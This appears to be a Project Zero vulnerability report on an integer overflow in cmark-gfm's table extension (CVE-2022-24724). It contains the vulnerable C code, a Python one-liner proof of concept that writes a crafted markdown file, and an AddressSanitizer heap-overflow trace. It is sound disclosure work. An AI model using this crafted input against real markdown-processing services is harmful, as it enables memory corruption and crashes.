cmark-gfm: Integer overflow in table extension

cmark-gfm (Github's markdown parsing library) is vulnerable to an out-of-bounds write when parsing markdown tables with a high number of columns due to an overflow of the 16bit columns count. 

Support for parsing tables in a github flavored markdown file is implemented in extensions/table.c. When a potential table is found, try_opening_table_header is called to parse the table header row (e.g | Column 1 | Column 2 |) and the delimiter/marker row (| - | :-|):

```
static cmark_node *try_opening_table_header(cmark_syntax_extension *self,
                                            cmark_parser *parser,
                                            cmark_node *parent_container,
                                            unsigned char *input, int len) {
 
  ...
  // Since scan_table_start was successful, we must have a marker row.
  marker_row = row_from_string(self, parser,
                               input + cmark_parser_get_first_nonspace(parser),
                               len - cmark_parser_get_first_nonspace(parser));
  \u2026
  header_row = row_from_string(self, parser, (unsigned char *)parent_string,
                               (int)strlen(parent_string));
  if (!header_row || header_row->n_columns != marker_row->n_columns) {
    free_table_row(parser->mem, marker_row);
    free_table_row(parser->mem, header_row);
    cmark_arena_pop();
    return parent_container;
  }

  \u2026
```

When both rows are parsed successfully, try_opening_table_header creates the alignments array to store alignment information for each column in the table:
```
uint8_t *alignments =
      (uint8_t *)parser->mem->calloc(header_row->n_columns, sizeof(uint8_t));
  cmark_llist *it = marker_row->cells;
  for (i = 0; it; it = it->next, ++i) {
    node_cell *node = (node_cell *)it->data;
    bool left = node->buf->ptr[0] == ':', right = node->buf->ptr[node->buf->size - 1] == ':';

    if (left && right)
      alignments[i] = 'c';
    else if (left)
      alignments[i] = 'l';
    else if (right)
      alignments[i] = 'r';
  }
```

The code uses the number of columns in the header row as the size of the array allocation, but loops through all columns in the marker row when filling the array. 

Normally, this isn't a problem as `header_row->n_columns == marker_row->n_columns` is checked earlier in the code. But, the check doesn't work when the real number of columns is larger than `2**16` as n_columns is defined as a uint16_t and row_from_string does not perform any checks to protect it from overflowing. 
An attacker can simply create a header row with X columns, a marker row with `2**16+X` columns and trigger out-of-bounds writes at controlled offsets by setting the alignment of specific columns.

Proof of Concept;
```
$ python3 -c 'print(\"|a|b|\
|-|-|\
|\"+ \"A\"*1380000 + \"|b|\
\
\
\"+\"|\" + \"a|\" * 2 + \"\
|\" + \":-|\" * (2**16+2) + \"\
|a|b|\")' > /tmp/test.md
$ ./src/cmark-gfm -e table /tmp/test.md
=================================================================
==2096092==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f3aeaffd800 at pc 0x7f3affa99ca1 bp 0x7fffbb4d5390 sp 0x7fffbb4d5388
WRITE of size 1 at 0x7f3aeaffd800 thread T0
    #0 0x7f3affa99ca0 in try_opening_table_header /usr/local/google/home/fwilhelm/code/cmark-gfm/extensions/table.c:294
    #1 0x7f3affa99ca0 in try_opening_table_block /usr/local/google/home/fwilhelm/code/cmark-gfm/extensions/table.c:390
    #2 0x7f3aff9e536c in open_new_blocks /usr/local/google/home/fwilhelm/code/cmark-gfm/src/blocks.c:1286
    #3 0x7f3aff9e536c in S_process_line /usr/local/google/home/fwilhelm/code/cmark-gfm/src/blocks.c:1476
    #4 0x7f3aff9e6ea0 in S_parser_feed /usr/local/google/home/fwilhelm/code/cmark-gfm/src/blocks.c:730
    #5 0x7f3aff9e73fc in cmark_parser_feed /usr/local/google/home/fwilhelm/code/cmark-gfm/src/blocks.c:680
    #6 0x563777eaafe4 in main /usr/local/google/home/fwilhelm/code/cmark-gfm/src/main.c:281
    #7 0x7f3aff7fa7ec in __libc_start_main ../csu/libc-start.c:332
    #8 0x563777eaa2f9 in _start (/usr/local/google/home/fwilhelm/code/cmark-gfm/build/src/cmark-gfm+0x32f9)

0x7f3aeaffd800 is located 0 bytes to the right of 9437184-byte region [0x7f3aea6fd800,0x7f3aeaffd800)
allocated by thread T0 here:
    #0 0x7f3affb58987 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:154
    #1 0x7f3affa265a6 in alloc_arena_chunk /usr/local/google/home/fwilhelm/code/cmark-gfm/src/arena.c:19
    #2 0x7f3affa267a8 in arena_calloc /usr/local/google/home/fwilhelm/code/cmark-gfm/src/arena.c:76
    #3 0x7f3affa26a06 in cmark_llist_append /usr/local/google/home/fwilhelm/code/cmark-gfm/src/linked_list.c:7
    #4 0x7f3affa99204 in row_from_string /usr/local/google/home/fwilhelm/code/cmark-gfm/extensions/table.c:165
    #5 0x7f3affa995cc in try_opening_table_header /usr/local/google/home/fwilhelm/code/cmark-gfm/extensions/table.c:241
    #6 0x7f3affa995cc in try_opening_table_block /usr/local/google/home/fwilhelm/code/cmark-gfm/extensions/table.c:390
    #7 0x7f3aff9e536c in open_new_blocks /usr/local/google/home/fwilhelm/code/cmark-gfm/src/blocks.c:1286
    #8 0x7f3aff9e536c in S_process_line /usr/local/google/home/fwilhelm/code/cmark-gfm/src/blocks.c:1476
    #9 0x7f3aff9e6ea0 in S_parser_feed /usr/local/google/home/fwilhelm/code/cmark-gfm/src/blocks.c:730
    #10 0x7f3aff9e73fc in cmark_parser_feed /usr/local/google/home/fwilhelm/code/cmark-gfm/src/blocks.c:680
    #11 0x563777eaafe4 in main /usr/local/google/home/fwilhelm/code/cmark-gfm/src/main.c:281
    #12 0x7f3aff7fa7ec in __libc_start_main ../csu/libc-start.c:332

SUMMARY: AddressSanitizer: heap-buffer-overflow /usr/local/google/home/fwilhelm/code/cmark-gfm/extensions/table.c:294 in try_opening_table_header
Shadow bytes around the buggy address:
  0x0fe7dd5f7ab0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe7dd5f7ac0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe7dd5f7ad0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe7dd5f7ae0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe7dd5f7af0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0fe7dd5f7b00:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0fe7dd5f7b10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0fe7dd5f7b20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0fe7dd5f7b30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0fe7dd5f7b40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0fe7dd5f7b50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==2096092==ABORTING
```

(The first table is used to fill the arena allocator and trigger a clean crash report from ASAN. It's not required to trigger the bug)

This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2022-05-16. For more details, see the Project Zero vulnerability disclosure policy: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html

Related CVE Numbers: CVE-2022-24724.



Found by: fwilhelm@google.com